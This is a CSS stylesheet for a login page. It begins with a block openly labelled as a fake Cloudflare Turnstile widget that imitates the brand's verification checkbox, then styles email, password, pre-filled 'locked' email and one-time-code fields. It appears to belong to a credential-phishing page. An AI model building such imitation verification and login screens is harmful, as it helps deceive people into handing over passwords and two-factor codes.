/* ── Cloudflare Turnstile (fake) ── */
#captcha-screen {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    padding: 30px 0 10px;
}

#captcha-screen .cf-title {
    font-size: 15px;
    color: #c8d8f0;
    margin-bottom: 22px;
    letter-spacing: 0.01em;
}

.cf-widget {
    background: #f9fafb;
    border: 1px solid #d1d5db;
    border-radius: 6px;
    width: 300px;
    height: 65px;
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 0 14px 0 14px;
    box-shadow: 0 1px 4px rgba(0,0,0,0.08);
    position: relative;
    overflow: hidden;
}

.cf-widget-left {
    display: flex;
    align-items: center;
    gap: 12px;
    cursor: pointer;
    user-select: none;
    flex: 1;
}

.cf-checkbox-box {
    width: 24px;
    height: 24px;
    border: 2px solid #9ca3af;
    border-radius: 3px;
    background: #fff;
    display: flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
    transition: border-color 0.2s;
    position: relative;
}

.cf-checkbox-box.checking {
    border-color: #f59e0b;
}

.cf-checkbox-box.verified {
    border-color: #22c55e;
    background: #22c55e;
}

.cf-spinner-ring {
    display: none;
    width: 16px;
    height: 16px;
    border: 2px solid #f59e0b;
    border-top-color: transparent;
    border-radius: 50%;
    animation: cf-spin 0.7s linear infinite;
}

.cf-checkbox-box.checking .cf-spinner-ring {
    display: block;
}

.cf-checkmark {
    display: none;
    width: 14px;
    height: 10px;
    stroke: #fff;
    stroke-width: 2.5;
    fill: none;
    stroke-linecap: round;
    stroke-linejoin: round;
}

.cf-checkbox-box.verified .cf-checkmark {
    display: block;
}

@keyframes cf-spin {
    to { transform: rotate(360deg); }
}

.cf-label {
    font-size: 14px;
    color: #374151;
    font-weight: 500;
}

.cf-widget-right {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    gap: 1px;
    padding-left: 12px;
    border-left: 1px solid #e5e7eb;
    min-width: 72px;
}

.cf-brand {
    display: flex;
    align-items: center;
    gap: 4px;
}

.cf-brand-name {
    font-size: 10px;
    font-weight: 700;
    color: #f38020;
    letter-spacing: 0.03em;
}

.cf-widget-links {
    font-size: 8.5px;
    color: #9ca3af;
}

.cf-progress {
    position: absolute;
    bottom: 0;
    left: 0;
    height: 2px;
    width: 0%;
    background: linear-gradient(90deg, #f59e0b, #f38020);
    transition: none;
}

.cf-progress.running {
    width: 100%;
    transition: width 2s linear;
}

#login-content {
    display: none;
}

#login-content.visible {
    display: block;
}

/* ── end Turnstile ── */

/* Reset and Base Styles */
* {
    box-sizing: border-box;
    margin: 0;
    padding: 0;
}

body {
    font-family: 'Inter', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
    height: 100vh;
    display: flex;
    justify-content: center;
    align-items: center;
    overflow: hidden;
    color: #ffffff;
}

/* Background Handling */
.background-overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-image: url('background.jpg');
    background-size: cover;
    background-position: top center;
    background-repeat: no-repeat;
    filter: blur(6px);
    z-index: -1;
    transform: scale(1.02);
    /* Prevent blurred edges from creeping in */
}

@media (max-width: 768px) {
    .background-overlay {
        background-size: cover;
        background-position: top center;
        transform: scale(1.01);
    }
}

@media (max-width: 480px) {
    .background-overlay {
        background-size: 100% auto;
        background-position: top center;
        transform: none;
        filter: blur(2px);
    }
}

/* Card Container */
.login-container {
    width: 100%;
    display: flex;
    justify-content: center;
    padding: 20px;
}

.login-card {
    background: #133864;
    padding: 40px;
    border-radius: 8px;
    box-shadow: 0 10px 25px rgba(0, 0, 0, 0.2);
    width: 100%;
    max-width: 450px;
    text-align: center;
    position: relative;
    border: 1px solid rgba(255, 255, 255, 0.3);
}

/* Typography */
h1 {
    color: #ffffff;
    /* Dark Blue */
    font-size: 24px;
    font-weight: 600;
    margin-bottom: 20px;
    letter-spacing: -0.5px;
}

.subtitle {
    font-size: 16px;
    color: #ffffff;
    margin-bottom: 25px;
}

.step {
    width: 100%;
}

.hidden {
    display: none;
}

.error-message {
    color: #dc2626;
    font-size: 14px;
    margin-bottom: 15px;
    text-align: center;
    font-weight: 500;
}

/* Form Elements */
.input-group {
    margin-bottom: 20px;
}

input[type="email"],
input[type="password"] {
    width: 100%;
    padding: 12px 16px;
    font-size: 16px;
    border: 1px solid #d1d5db;
    border-radius: 6px;
    outline: none;
    transition: border-color 0.2s, box-shadow 0.2s;
    background-color: #fff;
}

input[type="email"]:focus,
input[type="password"]:focus {
    border-color: #3b82f6;
    box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.1);
}

input:disabled {
    background-color: #f3f4f6;
    color: #6b7280;
    cursor: not-allowed;
}

.locked-email-display {
    width: 100%;
    padding: 10px 14px;
    margin-bottom: 12px;
 
    color: #4580f7;
    font-size: 20px;
    word-break: break-all;
}

.otp-group {
    display: flex;
    justify-content: center;
    gap: 10px;
    margin-bottom: 20px;
}

.otp-input {
    width: 46px;
    height: 50px;
    border: 1px solid #d1d5db;
    border-radius: 6px;
    font-size: 20px;
    text-align: center;
    outline: none;
    transition: border-color 0.2s, box-shadow 0.2s;
}

.otp-input:focus {
    border-color: #3b82f6;
    box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.1);
}

.submit-btn {
    width: 100%;
    padding: 12px;
    background-color: #2563eb;
    /* Royal Blue */
    background: linear-gradient(to bottom, #3b82f6, #1d4ed8);
    color: white;
    font-size: 18px;
    font-weight: 600;
    border: none;
    border-radius: 6px;
    cursor: pointer;
    transition: background-color 0.2s, transform 0.1s;
    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}

.submit-btn:hover {
    background: linear-gradient(to bottom, #2563eb, #1e40af);
}

.submit-btn:active {
    transform: translateY(1px);
}

/* Links */
.links {
    margin-top: 20px;
    display: flex;
    flex-direction: column;
    gap: 12px;
}

.secondary-link {
    color: #2563eb;
    text-decoration: none;
    font-size: 14px;
    transition: color 0.2s;
}

.secondary-link:hover {
    text-decoration: underline;
    color: #1e40af;
}

/* Footer */
.footer-divider {
    height: 1px;
    background-color: #e5e7eb;
    margin: 25px 0 15px 0;
}

.security-footer {
    display: flex;
    justify-content: center;
    align-items: center;
    gap: 8px;
    color: #eaf1ff;
    font-size: 12px;
}

.lock-icon {
    width: 14px;
    height: 14px;
    stroke: #6b7280;
}